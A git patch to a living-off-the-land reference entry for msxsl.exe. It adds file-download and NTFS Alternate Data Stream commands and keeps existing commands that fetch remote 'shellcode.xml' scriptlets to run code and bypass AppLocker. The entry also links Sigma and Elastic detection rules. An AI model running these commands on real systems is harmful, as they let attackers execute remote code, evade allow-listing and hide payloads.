From 4ffdf0ec0b909e045e5eee4b467ebb389bdbd47a Mon Sep 17 00:00:00 2001 From: Ronnie Salomonsen Date: Sat, 5 Aug 2023 19:04:09 +0200 Subject: [PATCH] Updated msxsl.yml to include a download and ADS category (#276) --- yml/OtherMSBinaries/Msxsl.yml | 27 +++++++++++++++++++++------ 1 file changed, 21 insertions(+), 6 deletions(-) diff --git a/yml/OtherMSBinaries/Msxsl.yml b/yml/OtherMSBinaries/Msxsl.yml index b7a2cb3..51fe624 100644 --- a/yml/OtherMSBinaries/Msxsl.yml +++ b/yml/OtherMSBinaries/Msxsl.yml @@ -9,33 +9,45 @@ Commands: Usecase: Local execution of script stored in XSL file. Category: Execute Privileges: User - MitreID: T1218 + MitreID: T1220 OperatingSystem: Windows - Command: msxsl.exe customers.xml script.xsl Description: Run COM Scriptlet code within the script.xsl file (local). Usecase: Local execution of script stored in XSL file. Category: AWL Bypass Privileges: User - MitreID: T1218 + MitreID: T1220 OperatingSystem: Windows - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). Usecase: Local execution of remote script stored in XSL script stored as an XML file. Category: Execute Privileges: User - MitreID: T1218 + MitreID: T1220 OperatingSystem: Windows - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). Usecase: Local execution of remote script stored in XSL script stored as an XML file. Category: AWL Bypass Privileges: User - MitreID: T1218 + MitreID: T1220 + OperatingSystem: Windows + - Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o + Description: Using remote XML and XSL files, save the transformed XML file to disk. + Usecase: Download a file from the internet and save it to disk. + Category: Download + Privileges: User + MitreID: T1105 + OperatingSystem: Windows + - Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o :ads-name + Description: Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS). + Usecase: Download a file from the internet and save it to an NTFS Alternate Data Stream. + Category: ADS + Privileges: User + MitreID: T1564 OperatingSystem: Windows Full_Path: - Path: no default -Code_Sample: - - Code: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_xsl_script_processing.yml - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml @@ -44,6 +56,9 @@ Detection: Resources: - Link: https://twitter.com/subTee/status/877616321747271680 - Link: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker + - Link: https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file Acknowledgement: - Person: Casey Smith Handle: '@subtee' + - Person: Ronnie Salomonsen + Handle: '@r0ns3n'